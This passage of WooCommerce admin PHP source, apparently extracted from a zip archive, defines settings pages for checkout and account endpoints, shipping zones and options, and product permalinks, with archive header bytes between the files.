					'desc'            => __( 'Force HTTP when leaving the checkout', 'woocommerce' ),
					'id'              => 'woocommerce_unforce_ssl_checkout',
					'default'         => 'no',
					'type'            => 'checkbox',
					'checkboxgroup'   => 'end',
					'show_if_checked' => 'yes',
				),

				array(
					'type' => 'sectionend',
					'id'   => 'checkout_process_options',
				),

				array(
					'title' => __( 'Checkout endpoints', 'woocommerce' ),
					'type'  => 'title',
					'desc'  => __( 'Endpoints are appended to your page URLs to handle specific actions during the checkout process. They should be unique.', 'woocommerce' ),
					'id'    => 'checkout_endpoint_options',
				),

				array(
					'title'    => __( 'Pay', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "Checkout &rarr; Pay" page.', 'woocommerce' ),
					'id'       => 'woocommerce_checkout_pay_endpoint',
					'type'     => 'text',
					'default'  => 'order-pay',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Order received', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "Checkout &rarr; Order received" page.', 'woocommerce' ),
					'id'       => 'woocommerce_checkout_order_received_endpoint',
					'type'     => 'text',
					'default'  => 'order-received',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Add payment method', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "Checkout &rarr; Add payment method" page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_add_payment_method_endpoint',
					'type'     => 'text',
					'default'  => 'add-payment-method',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Delete payment method', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the delete payment method page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_delete_payment_method_endpoint',
					'type'     => 'text',
					'default'  => 'delete-payment-method',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Set default payment method', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the setting a default payment method page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_set_default_payment_method_endpoint',
					'type'     => 'text',
					'default'  => 'set-default-payment-method',
					'desc_tip' => true,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'checkout_endpoint_options',
				),

				array(
					'title' => __( 'Account endpoints', 'woocommerce' ),
					'type'  => 'title',
					'desc'  => __( 'Endpoints are appended to your page URLs to handle specific actions on the accounts pages. They should be unique and can be left blank to disable the endpoint.', 'woocommerce' ),
					'id'    => 'account_endpoint_options',
				),

				array(
					'title'    => __( 'Orders', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "My account &rarr; Orders" page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_orders_endpoint',
					'type'     => 'text',
					'default'  => 'orders',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'View order', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "My account &rarr; View order" page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_view_order_endpoint',
					'type'     => 'text',
					'default'  => 'view-order',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Downloads', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "My account &rarr; Downloads" page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_downloads_endpoint',
					'type'     => 'text',
					'default'  => 'downloads',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Edit account', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "My account &rarr; Edit account" page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_edit_account_endpoint',
					'type'     => 'text',
					'default'  => 'edit-account',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Addresses', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "My account &rarr; Addresses" page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_edit_address_endpoint',
					'type'     => 'text',
					'default'  => 'edit-address',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Payment methods', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "My account &rarr; Payment methods" page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_payment_methods_endpoint',
					'type'     => 'text',
					'default'  => 'payment-methods',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Lost password', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the "My account &rarr; Lost password" page.', 'woocommerce' ),
					'id'       => 'woocommerce_myaccount_lost_password_endpoint',
					'type'     => 'text',
					'default'  => 'lost-password',
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Logout', 'woocommerce' ),
					'desc'     => __( 'Endpoint for the triggering logout. You can add this to your menus via a custom link: yoursite.com/?customer-logout=true', 'woocommerce' ),
					'id'       => 'woocommerce_logout_endpoint',
					'type'     => 'text',
					'default'  => 'customer-logout',
					'desc_tip' => true,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'account_endpoint_options',
				),
			);

		$settings = apply_filters( 'woocommerce_settings_pages', $settings );

		if ( wc_site_is_https() ) {
			unset( $settings['unforce_ssl_checkout'], $settings['force_ssl_checkout'] );
		}

		return $settings;
	}

	/**
	 * Get settings for the WooCommerce.com section.
	 *
	 * @return array
	 */
	protected function get_settings_for_woocommerce_com_section() {
		$tracking_info_text = sprintf( '<a href="%s" target="_blank">%s</a>', 'https://woocommerce.com/usage-tracking', esc_html__( 'WooCommerce.com Usage Tracking Documentation', 'woocommerce' ) );

		$settings =
			array(
				array(
					'title' => esc_html__( 'Usage Tracking', 'woocommerce' ),
					'type'  => 'title',
					'id'    => 'tracking_options',
					'desc'  => __( 'Gathering usage data allows us to make WooCommerce better — your store will be considered as we evaluate new features, judge the quality of an update, or determine if an improvement makes sense.', 'woocommerce' ),
				),
				array(
					'title'         => __( 'Enable tracking', 'woocommerce' ),
					'desc'          => __( 'Allow usage of WooCommerce to be tracked', 'woocommerce' ),
					/* Translators: %s URL to tracking info screen. */
					'desc_tip'      => sprintf( esc_html__( 'To opt out, leave this box unticked. Your store remains untracked, and no data will be collected. Read about what usage data is tracked at: %s.', 'woocommerce' ), $tracking_info_text ),
					'id'            => 'woocommerce_allow_tracking',
					'type'          => 'checkbox',
					'checkboxgroup' => 'start',
					'default'       => 'no',
					'autoload'      => false,
				),
				array(
					'type' => 'sectionend',
					'id'   => 'tracking_options',
				),
				array(
					'title' => esc_html__( 'Marketplace suggestions', 'woocommerce' ),
					'type'  => 'title',
					'id'    => 'marketplace_suggestions',
					'desc'  => __( 'We show contextual suggestions for official extensions that may be helpful to your store.', 'woocommerce' ),
				),
				array(
					'title'         => __( 'Show Suggestions', 'woocommerce' ),
					'desc'          => __( 'Display suggestions within WooCommerce', 'woocommerce' ),
					'desc_tip'      => esc_html__( 'Leave this box unchecked if you do not want to see suggested extensions.', 'woocommerce' ),
					'id'            => 'woocommerce_show_marketplace_suggestions',
					'type'          => 'checkbox',
					'checkboxgroup' => 'start',
					'default'       => 'yes',
					'autoload'      => false,
				),
				array(
					'type' => 'sectionend',
					'id'   => 'marketplace_suggestions',
				),
			);

		return apply_filters( 'woocommerce_com_integration_settings', $settings );
	}

	/**
	 * Get settings for the legacy API section.
	 *
	 * @return array
	 */
	protected function get_settings_for_legacy_api_section() {
		$settings =
			array(
				array(
					'title' => '',
					'type'  => 'title',
					'desc'  => '',
					'id'    => 'legacy_api_options',
				),
				array(
					'title'   => __( 'Legacy API', 'woocommerce' ),
					'desc'    => __( 'Enable the legacy REST API', 'woocommerce' ),
					'id'      => 'woocommerce_api_enabled',
					'type'    => 'checkbox',
					'default' => 'no',
				),
				array(
					'type' => 'sectionend',
					'id'   => 'legacy_api_options',
				),
			);

		return apply_filters( 'woocommerce_settings_rest_api', $settings );
	}

	/**
	 * Form method.
	 *
	 * @deprecated 3.4.4
	 *
	 * @param  string $method Method name.
	 *
	 * @return string
	 */
	public function form_method( $method ) {
		return 'post';
	}

	/**
	 * Notices.
	 */
	private function notices() {
		// phpcs:disable WordPress.Security.NonceVerification.Recommended
		if ( isset( $_GET['section'] ) && 'webhooks' === $_GET['section'] ) {
			WC_Admin_Webhooks::notices();
		}
		if ( isset( $_GET['section'] ) && 'keys' === $_GET['section'] ) {
			WC_Admin_API_Keys::notices();
		}
		// phpcs:enable
	}

	/**
	 * Output the settings.
	 */
	public function output() {
		global $current_section;

		if ( 'webhooks' === $current_section ) {
			WC_Admin_Webhooks::page_output();
		} elseif ( 'keys' === $current_section ) {
			WC_Admin_API_Keys::page_output();
		} else {
			parent::output();
		}
	}

	/**
	 * Save settings.
	 */
	public function save() {
		// phpcs:disable WordPress.Security.NonceVerification.Missing
		global $current_section;

		if ( apply_filters( 'woocommerce_rest_api_valid_to_save', ! in_array( $current_section, array( 'keys', 'webhooks' ), true ) ) ) {
			// Prevent the T&Cs and checkout page from being set to the same page.
			if ( isset( $_POST['woocommerce_terms_page_id'], $_POST['woocommerce_checkout_page_id'] ) && $_POST['woocommerce_terms_page_id'] === $_POST['woocommerce_checkout_page_id'] ) {
				$_POST['woocommerce_terms_page_id'] = '';
			}

			// Prevent the Cart, checkout and my account page from being set to the same page.
			if ( isset( $_POST['woocommerce_cart_page_id'], $_POST['woocommerce_checkout_page_id'], $_POST['woocommerce_myaccount_page_id'] ) ) {
				if ( $_POST['woocommerce_cart_page_id'] === $_POST['woocommerce_checkout_page_id'] ) {
					$_POST['woocommerce_checkout_page_id'] = '';
				}
				if ( $_POST['woocommerce_cart_page_id'] === $_POST['woocommerce_myaccount_page_id'] ) {
					$_POST['woocommerce_myaccount_page_id'] = '';
				}
				if ( $_POST['woocommerce_checkout_page_id'] === $_POST['woocommerce_myaccount_page_id'] ) {
					$_POST['woocommerce_myaccount_page_id'] = '';
				}
			}

			$this->save_settings_for_current_section();
			$this->do_update_options_action();
		}
		// phpcs:enable
	}
}

// phpcs:disable Generic.Files.OneObjectStructurePerFile.MultipleFound, Generic.Commenting.Todo.CommentFound
/**
 * WC_Settings_Rest_API class.
 *
 * @deprecated 3.4 in favour of WC_Settings_Advanced.
 */
class WC_Settings_Rest_API extends WC_Settings_Advanced {
}

return new WC_Settings_Advanced();
// phpcs:enable
PK�3\�=�=2=2'settings/class-wc-settings-shipping.phpnu�[���<?php
/**
 * WooCommerce Shipping Settings
 *
 * @package     WooCommerce\Admin
 * @version     2.6.0
 */

use Automattic\Jetpack\Constants;

defined( 'ABSPATH' ) || exit;

if ( class_exists( 'WC_Settings_Shipping', false ) ) {
	return new WC_Settings_Shipping();
}

/**
 * WC_Settings_Shipping.
 */
class WC_Settings_Shipping extends WC_Settings_Page {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->id    = 'shipping';
		$this->label = __( 'Shipping', 'woocommerce' );

		parent::__construct();
	}

	/**
	 * Add this page to settings.
	 *
	 * @param array $pages Current pages.
	 * @return array|mixed
	 */
	public function add_settings_page( $pages ) {
		return wc_shipping_enabled() ? parent::add_settings_page( $pages ) : $pages;
	}

	/**
	 * Get own sections.
	 *
	 * @return array
	 */
	protected function get_own_sections() {
		$sections = array(
			''        => __( 'Shipping zones', 'woocommerce' ),
			'options' => __( 'Shipping options', 'woocommerce' ),
			'classes' => __( 'Shipping classes', 'woocommerce' ),
		);

		if ( ! $this->wc_is_installing() ) {
			// Load shipping methods so we can show any global options they may have.
			$shipping_methods = $this->get_shipping_methods();

			foreach ( $shipping_methods as $method ) {
				if ( ! $method->has_settings() ) {
					continue;
				}
				$title                                 = empty( $method->method_title ) ? ucfirst( $method->id ) : $method->method_title;
				$sections[ strtolower( $method->id ) ] = esc_html( $title );
			}
		}

		return $sections;
	}

	/**
	 * Is WC_INSTALLING constant defined?
	 * This method exists to ease unit testing.
	 *
	 * @return bool True is the WC_INSTALLING constant is defined.
	 */
	protected function wc_is_installing() {
		return Constants::is_defined( 'WC_INSTALLING' );
	}

	/**
	 * Get the currently available shipping methods.
	 * This method exists to ease unit testing.
	 *
	 * @return array Currently available shipping methods.
	 */
	protected function get_shipping_methods() {
		return WC()->shipping()->get_shipping_methods();
	}

	/**
	 * Get settings for the default section.
	 *
	 * The original implementation of 'get_settings' was returning the settings for the "Options" section
	 * when the supplied value for $current_section was ''.
	 *
	 * @return array
	 */
	protected function get_settings_for_default_section() {
		return $this->get_settings_for_options_section();
	}

	/**
	 * Get settings for the options section.
	 *
	 * @return array
	 */
	protected function get_settings_for_options_section() {
		$settings =
			array(
				array(
					'title' => __( 'Shipping options', 'woocommerce' ),
					'type'  => 'title',
					'id'    => 'shipping_options',
				),

				array(
					'title'         => __( 'Calculations', 'woocommerce' ),
					'desc'          => __( 'Enable the shipping calculator on the cart page', 'woocommerce' ),
					'id'            => 'woocommerce_enable_shipping_calc',
					'default'       => 'yes',
					'type'          => 'checkbox',
					'checkboxgroup' => 'start',
					'autoload'      => false,
				),

				array(
					'desc'          => __( 'Hide shipping costs until an address is entered', 'woocommerce' ),
					'id'            => 'woocommerce_shipping_cost_requires_address',
					'default'       => 'no',
					'type'          => 'checkbox',
					'checkboxgroup' => 'end',
				),

				array(
					'title'           => __( 'Shipping destination', 'woocommerce' ),
					'desc'            => __( 'This controls which shipping address is used by default.', 'woocommerce' ),
					'id'              => 'woocommerce_ship_to_destination',
					'default'         => 'billing',
					'type'            => 'radio',
					'options'         => array(
						'shipping'     => __( 'Default to customer shipping address', 'woocommerce' ),
						'billing'      => __( 'Default to customer billing address', 'woocommerce' ),
						'billing_only' => __( 'Force shipping to the customer billing address', 'woocommerce' ),
					),
					'autoload'        => false,
					'desc_tip'        => true,
					'show_if_checked' => 'option',
				),

				array(
					'title'    => __( 'Debug mode', 'woocommerce' ),
					'desc'     => __( 'Enable debug mode', 'woocommerce' ),
					'desc_tip' => __( 'Enable shipping debug mode to show matching shipping zones and to bypass shipping rate cache.', 'woocommerce' ),
					'id'       => 'woocommerce_shipping_debug_mode',
					'default'  => 'no',
					'type'     => 'checkbox',
				),

				array(
					'type' => 'sectionend',
					'id'   => 'shipping_options',
				),
			);

		return apply_filters( 'woocommerce_shipping_settings', $settings );
	}

	/**
	 * Output the settings.
	 */
	public function output() {
		global $current_section, $hide_save_button;

		// Load shipping methods so we can show any global options they may have.
		$shipping_methods = $this->get_shipping_methods();

		if ( '' === $current_section ) {
			$this->output_zones_screen();
		} elseif ( 'classes' === $current_section ) {
			$hide_save_button = true;
			$this->output_shipping_class_screen();
		} else {
			$is_shipping_method = false;
			foreach ( $shipping_methods as $method ) {
				if ( in_array( $current_section, array( $method->id, sanitize_title( get_class( $method ) ) ), true ) && $method->has_settings() ) {
					$is_shipping_method = true;
					$method->admin_options();
				}
			}
			if ( ! $is_shipping_method ) {
				parent::output();
			}
		}
	}

	/**
	 * Save settings.
	 */
	public function save() {
		global $current_section;

		switch ( $current_section ) {
			case 'options':
				$this->save_settings_for_current_section();
				$this->do_update_options_action();
				break;
			case 'classes':
				$this->do_update_options_action();
				break;
			case '':
				break;
			default:
				$is_shipping_method = false;

				foreach ( $this->get_shipping_methods() as $method_id => $method ) {
					if ( in_array( $current_section, array( $method->id, sanitize_title( get_class( $method ) ) ), true ) ) {
						$is_shipping_method = true;
						$this->do_update_options_action( $method->id );
					}
				}
				if ( ! $is_shipping_method ) {
					$this->save_settings_for_current_section();
				}
				break;
		}

		// Increments the transient version to invalidate cache.
		WC_Cache_Helper::get_transient_version( 'shipping', true );
	}

	/**
	 * Handles output of the shipping zones page in admin.
	 */
	protected function output_zones_screen() {
		// phpcs:disable WordPress.Security.NonceVerification.Recommended
		global $hide_save_button;

		if ( isset( $_REQUEST['zone_id'] ) ) {
			$hide_save_button = true;
			$this->zone_methods_screen( wc_clean( wp_unslash( $_REQUEST['zone_id'] ) ) );
		} elseif ( isset( $_REQUEST['instance_id'] ) ) {
			$this->instance_settings_screen( absint( wp_unslash( $_REQUEST['instance_id'] ) ) );
		} else {
			$hide_save_button = true;
			$this->zones_screen();
		}
		// phpcs:enable WordPress.Security.NonceVerification.Recommended
	}

	/**
	 * Show method for a zone
	 *
	 * @param int $zone_id Zone ID.
	 */
	protected function zone_methods_screen( $zone_id ) {
		if ( 'new' === $zone_id ) {
			$zone = new WC_Shipping_Zone();
		} else {
			$zone = WC_Shipping_Zones::get_zone( absint( $zone_id ) );
		}

		if ( ! $zone ) {
			wp_die( esc_html__( 'Zone does not exist!', 'woocommerce' ) );
		}

		$allowed_countries   = WC()->countries->get_shipping_countries();
		$shipping_continents = WC()->countries->get_shipping_continents();

		// Prepare locations.
		$locations = array();
		$postcodes = array();

		foreach ( $zone->get_zone_locations() as $location ) {
			if ( 'postcode' === $location->type ) {
				$postcodes[] = $location->code;
			} else {
				$locations[] = $location->type . ':' . $location->code;
			}
		}

		wp_localize_script(
			'wc-shipping-zone-methods',
			'shippingZoneMethodsLocalizeScript',
			array(
				'methods'                 => $zone->get_shipping_methods( false, 'json' ),
				'zone_name'               => $zone->get_zone_name(),
				'zone_id'                 => $zone->get_id(),
				'wc_shipping_zones_nonce' => wp_create_nonce( 'wc_shipping_zones_nonce' ),
				'strings'                 => array(
					'unload_confirmation_msg' => __( 'Your changed data will be lost if you leave this page without saving.', 'woocommerce' ),
					'save_changes_prompt'     => __( 'Do you wish to save your changes first? Your changed data will be discarded if you choose to cancel.', 'woocommerce' ),
					'save_failed'             => __( 'Your changes were not saved. Please retry.', 'woocommerce' ),
					'add_method_failed'       => __( 'Shipping method could not be added. Please retry.', 'woocommerce' ),
					'yes'                     => __( 'Yes', 'woocommerce' ),
					'no'                      => __( 'No', 'woocommerce' ),
					'default_zone_name'       => __( 'Zone', 'woocommerce' ),
				),
			)
		);
		wp_enqueue_script( 'wc-shipping-zone-methods' );

		include_once dirname( __FILE__ ) . '/views/html-admin-page-shipping-zone-methods.php';
	}

	/**
	 * Show zones
	 */
	protected function zones_screen() {
		$method_count = wc_get_shipping_method_count( false, true );

		wp_localize_script(
			'wc-shipping-zones',
			'shippingZonesLocalizeScript',
			array(
				'zones'                   => WC_Shipping_Zones::get_zones( 'json' ),
				'default_zone'            => array(
					'zone_id'    => 0,
					'zone_name'  => '',
					'zone_order' => null,
				),
				'wc_shipping_zones_nonce' => wp_create_nonce( 'wc_shipping_zones_nonce' ),
				'strings'                 => array(
					'unload_confirmation_msg'     => __( 'Your changed data will be lost if you leave this page without saving.', 'woocommerce' ),
					'delete_confirmation_msg'     => __( 'Are you sure you want to delete this zone? This action cannot be undone.', 'woocommerce' ),
					'save_failed'                 => __( 'Your changes were not saved. Please retry.', 'woocommerce' ),
					'no_shipping_methods_offered' => __( 'No shipping methods offered to this zone.', 'woocommerce' ),
				),
			)
		);
		wp_enqueue_script( 'wc-shipping-zones' );

		include_once dirname( __FILE__ ) . '/views/html-admin-page-shipping-zones.php';
	}

	/**
	 * Show instance settings
	 *
	 * @param int $instance_id Shipping instance ID.
	 */
	protected function instance_settings_screen( $instance_id ) {
		$zone            = WC_Shipping_Zones::get_zone_by( 'instance_id', $instance_id );
		$shipping_method = WC_Shipping_Zones::get_shipping_method( $instance_id );

		if ( ! $shipping_method ) {
			wp_die( esc_html__( 'Invalid shipping method!', 'woocommerce' ) );
		}
		if ( ! $zone ) {
			wp_die( esc_html__( 'Zone does not exist!', 'woocommerce' ) );
		}
		if ( ! $shipping_method->has_settings() ) {
			wp_die( esc_html__( 'This shipping method does not have any settings to configure.', 'woocommerce' ) );
		}

		if ( ! empty( $_POST['save'] ) ) {

			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
			if ( empty( $_REQUEST['_wpnonce'] ) || ! wp_verify_nonce( wp_unslash( $_REQUEST['_wpnonce'] ), 'woocommerce-settings' ) ) {
				echo '<div class="updated error"><p>' . esc_html__( 'Edit failed. Please try again.', 'woocommerce' ) . '</p></div>';
			}

			$shipping_method->process_admin_options();
			$shipping_method->display_errors();
		}

		include_once dirname( __FILE__ ) . '/views/html-admin-page-shipping-zones-instance.php';
	}

	/**
	 * Handles output of the shipping class settings screen.
	 */
	protected function output_shipping_class_screen() {
		$wc_shipping = WC_Shipping::instance();
		wp_localize_script(
			'wc-shipping-classes',
			'shippingClassesLocalizeScript',
			array(
				'classes'                   => $wc_shipping->get_shipping_classes(),
				'default_shipping_class'    => array(
					'term_id'     => 0,
					'name'        => '',
					'description' => '',
				),
				'wc_shipping_classes_nonce' => wp_create_nonce( 'wc_shipping_classes_nonce' ),
				'strings'                   => array(
					'unload_confirmation_msg' => __( 'Your changed data will be lost if you leave this page without saving.', 'woocommerce' ),
					'save_failed'             => __( 'Your changes were not saved. Please retry.', 'woocommerce' ),
				),
			)
		);
		wp_enqueue_script( 'wc-shipping-classes' );

		// Extendable columns to show on the shipping classes screen.
		$shipping_class_columns = apply_filters(
			'woocommerce_shipping_classes_columns',
			array(
				'wc-shipping-class-name'        => __( 'Shipping class', 'woocommerce' ),
				'wc-shipping-class-slug'        => __( 'Slug', 'woocommerce' ),
				'wc-shipping-class-description' => __( 'Description', 'woocommerce' ),
				'wc-shipping-class-count'       => __( 'Product count', 'woocommerce' ),
			)
		);

		include_once dirname( __FILE__ ) . '/views/html-admin-page-shipping-classes.php';
	}
}

return new WC_Settings_Shipping();
PK�3\���}k$k$%class-wc-admin-permalink-settings.phpnu�[���<?php
/**
 * Adds settings to the permalinks admin settings page
 *
 * @class       WC_Admin_Permalink_Settings
 * @package     WooCommerce\Admin
 * @version     2.3.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Admin_Permalink_Settings', false ) ) {
	return new WC_Admin_Permalink_Settings();
}

/**
 * WC_Admin_Permalink_Settings Class.
 */
class WC_Admin_Permalink_Settings {

	/**
	 * Permalink settings.
	 *
	 * @var array
	 */
	private $permalinks = array();

	/**
	 * Hook in tabs.
	 */
	public function __construct() {
		$this->settings_init();
		$this->settings_save();
	}

	/**
	 * Init our settings.
	 */
	public function settings_init() {
		add_settings_section( 'woocommerce-permalink', __( 'Product permalinks', 'woocommerce' ), array( $this, 'settings' ), 'permalink' );

		add_settings_field(
			'woocommerce_product_category_slug',
			__( 'Product category base', 'woocommerce' ),
			array( $this, 'product_category_slug_input' ),
			'permalink',
			'optional'
		);
		add_settings_field(
			'woocommerce_product_tag_slug',
			__( 'Product tag base', 'woocommerce' ),
			array( $this, 'product_tag_slug_input' ),
			'permalink',
			'optional'
		);
		add_settings_field(
			'woocommerce_product_attribute_slug',
			__( 'Product attribute base', 'woocommerce' ),
			array( $this, 'product_attribute_slug_input' ),
			'permalink',
			'optional'
		);

		$this->permalinks = wc_get_permalink_structure();
	}

	/**
	 * Show a slug input box.
	 */
	public function product_category_slug_input() {
		?>
		<input name="woocommerce_product_category_slug" type="text" class="regular-text code" value="<?php echo esc_attr( $this->permalinks['category_base'] ); ?>" placeholder="<?php echo esc_attr_x( 'product-category', 'slug', 'woocommerce' ); ?>" />
		<?php
	}

	/**
	 * Show a slug input box.
	 */
	public function product_tag_slug_input() {
		?>
		<input name="woocommerce_product_tag_slug" type="text" class="regular-text code" value="<?php echo esc_attr( $this->permalinks['tag_base'] ); ?>" placeholder="<?php echo esc_attr_x( 'product-tag', 'slug', 'woocommerce' ); ?>" />
		<?php
	}

	/**
	 * Show a slug input box.
	 */
	public function product_attribute_slug_input() {
		?>
		<input name="woocommerce_product_attribute_slug" type="text" class="regular-text code" value="<?php echo esc_attr( $this->permalinks['attribute_base'] ); ?>" /><code>/attribute-name/attribute/</code>
		<?php
	}

	/**
	 * Show the settings.
	 */
	public function settings() {
		/* translators: %s: Home URL */
		echo wp_kses_post( wpautop( sprintf( __( 'If you like, you may enter custom structures for your product URLs here. For example, using <code>shop</code> would make your product links like <code>%sshop/sample-product/</code>. This setting affects product URLs only, not things such as product categories.', 'woocommerce' ), esc_url( home_url( '/' ) ) ) ) );

		$shop_page_id = wc_get_page_id( 'shop' );
		$base_slug    = urldecode( ( $shop_page_id > 0 && get_post( $shop_page_id ) ) ? get_page_uri( $shop_page_id ) : _x( 'shop', 'default-slug', 'woocommerce' ) );
		$product_base = _x( 'product', 'default-slug', 'woocommerce' );

		$structures = array(
			0 => '',
			1 => '/' . trailingslashit( $base_slug ),
			2 => '/' . trailingslashit( $base_slug ) . trailingslashit( '%product_cat%' ),
		);
		?>
		<table class="form-table wc-permalink-structure">
			<tbody>
				<tr>
					<th><label><input name="product_permalink" type="radio" value="<?php echo esc_attr( $structures[0] ); ?>" class="wctog" <?php checked( $structures[0], $this->permalinks['product_base'] ); ?> /> <?php esc_html_e( 'Default', 'woocommerce' ); ?></label></th>
					<td><code class="default-example"><?php echo esc_html( home_url() ); ?>/?product=sample-product</code> <code class="non-default-example"><?php echo esc_html( home_url() ); ?>/<?php echo esc_html( $product_base ); ?>/sample-product/</code></td>
				</tr>
				<?php if ( $shop_page_id ) : ?>
					<tr>
						<th><label><input name="product_permalink" type="radio" value="<?php echo esc_attr( $structures[1] ); ?>" class="wctog" <?php checked( $structures[1], $this->permalinks['product_base'] ); ?> /> <?php esc_html_e( 'Shop base', 'woocommerce' ); ?></label></th>
						<td><code><?php echo esc_html( home_url() ); ?>/<?php echo esc_html( $base_slug ); ?>/sample-product/</code></td>
					</tr>
					<tr>
						<th><label><input name="product_permalink" type="radio" value="<?php echo esc_attr( $structures[2] ); ?>" class="wctog" <?php checked( $structures[2], $this->permalinks['product_base'] ); ?> /> <?php esc_html_e( 'Shop base with category', 'woocommerce' ); ?></label></th>
						<td><code><?php echo esc_html( home_url() ); ?>/<?php echo esc_html( $base_slug ); ?>/product-category/sample-product/</code></td>
					</tr>
				<?php endif; ?>
				<tr>
					<th><label><input name="product_permalink" id="woocommerce_custom_selection" type="radio" value="custom" class="tog" <?php checked( in_array( $this->permalinks['product_base'], $structures, true ), false ); ?> />
						<?php esc_html_e( 'Custom base', 'woocommerce' ); ?></label></th>
					<td>
						<input name="product_permalink_structure" id="woocommerce_permalink_structure" type="text" value="<?php echo esc_attr( $this->permalinks['product_base'] ? trailingslashit( $this->permalinks['product_base'] ) : '' ); ?>" class="regular-text code"> <span class="description"><?php esc_html_e( 'Enter a custom base to use. A base must be set or WordPress will use default instead.', 'woocommerce' ); ?></span>
					</td>
				</tr>
			</tbody>
		</table>
		<?php wp_nonce_field( 'wc-permalinks', 'wc-permalinks-nonce' ); ?>
		<script type="text/javascript">
			jQuery( function() {
				jQuery('input.wctog').on( 'change', function() {
					jQuery('#woocommerce_permalink_structure').val( jQuery( this ).val() );
				});
				jQuery('.permalink-structure input').on( 'change', function() {
					jQuery('.wc-permalink-structure').find('code.non-default-example, code.default-example').hide();
					if ( jQuery(this).val() ) {
						jQuery('.wc-permalink-structure code.non-default-example').show();
						jQuery('.wc-permalink-structure input').prop('disabled', false);
					} else {
						jQuery('.wc-permalink-structure code.default-example').show();
						jQuery('.wc-permalink-structure input:eq(0)').trigger( 'click' );
						jQuery('.wc-permalink-structure input').attr('disabled', 'disabled');
					}
				});
				jQuery('.permalink-structure input:checked').trigger( 'change' );
				jQuery('#woocommerce_permalink_structure').on( 'focus', function(){
					jQuery('#woocommerce_custom_selection').trigger( 'click' );
				} );
			} );
		</script>
		<?php
	}

	/**
	 * Save the settings.
	 */
	public function settings_save() {
		if ( ! is_admin() ) {
			return;
		}

		// We need to save the options ourselves; settings api does not trigger save for the permalinks page.
		if ( isset( $_POST['permalink_structure'], $_POST['wc-permalinks-nonce'], $_POST['woocommerce_product_category_slug'], $_POST['woocommerce_product_tag_slug'], $_POST['woocommerce_product_attribute_slug'] ) && wp_verify_nonce( wp_unslash( $_POST['wc-permalinks-nonce'] ), 'wc-permalinks' ) ) { // WPCS: input var ok, sanitization ok.
			wc_switch_to_site_locale();

			$permalinks                   = (array) get_option( 'woocommerce_permalinks', array() );
			$permalinks['category_base']  = wc_sanitize_permalink( wp_unslash( $_POST['woocommerce_product_category_slug'] ) ); // WPCS: input var ok, sanitization ok.
			$permalinks['tag_base']       = wc_sanitize_permalink( wp_unslash( $_POST['woocommerce_product_tag_slug'] ) ); // WPCS: input var ok, sanitization ok.
			$permalinks['attribute_base'] = wc_sanitize_permalink( wp_unslash( $_POST['woocommerce_product_attribute_slug'] ) ); // WPCS: input var ok, sanitization ok.

			// Generate product base.
			$product_base = isset( $_POST['product_permalink'] ) ? wc_clean( wp_unslash( $_POST['product_permalink'] ) ) : ''; // WPCS: input var ok, sanitization ok.

			if ( 'custom' === $product_base ) {
				if ( isset( $_POST['product_permalink_structure'] ) ) { // WPCS: input var ok.
					$product_base = preg_replace( '#/+#', '/', '/' . str_replace( '#', '', trim( wp_unslash( $_POST['product_permalink_structure'] ) ) ) ); // WPCS: input var ok, sanitization ok.
				} else {
					$product_base = '/';
				}

				// This is an invalid base structure and breaks pages.
				if ( '/%product_cat%/' === trailingslashit( $product_base ) ) {
					$product_base = '/' . _x( 'product', 'slug', 'woocommerce' ) . $product_base;
				}
			} elseif ( empty( $product_base ) ) {
				$product_base = _x( 'product', 'slug', 'woocommerce' );
			}

			$permalinks['product_base'] = wc_sanitize_permalink( $product_base );

			// Shop base may require verbose page rules if nesting pages.
			$shop_page_id   = wc_get_page_id( 'shop' );
			$shop_permalink = ( $shop_page_id > 0 && get_post( $shop_page_id ) ) ? get_page_uri( $shop_page_id ) : _x( 'shop', 'default-slug', 'woocommerce' );

			if ( $shop_page_id && stristr( trim( $permalinks['product_base'], '/' ), $shop_permalink ) ) {
				$permalinks['use_verbose_page_rules'] = true;
			}

			update_option( 'woocommerce_permalinks', $permalinks );
			wc_restore_locale();
		}
	}
}

return new WC_Admin_Permalink_Settings();
PK�3\瑢�//class-wc-admin-exporters.phpnu�[���<?php
/**
 * Init WooCommerce data exporters.
 *
 * @package     WooCommerce\Admin
 * @version     3.1.0
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Admin_Exporters Class.
 */
class WC_Admin_Exporters {

	/**
	 * Array of exporter IDs.
	 *
	 * @var string[]
	 */
	protected $exporters = array();

	/**
	 * Constructor.
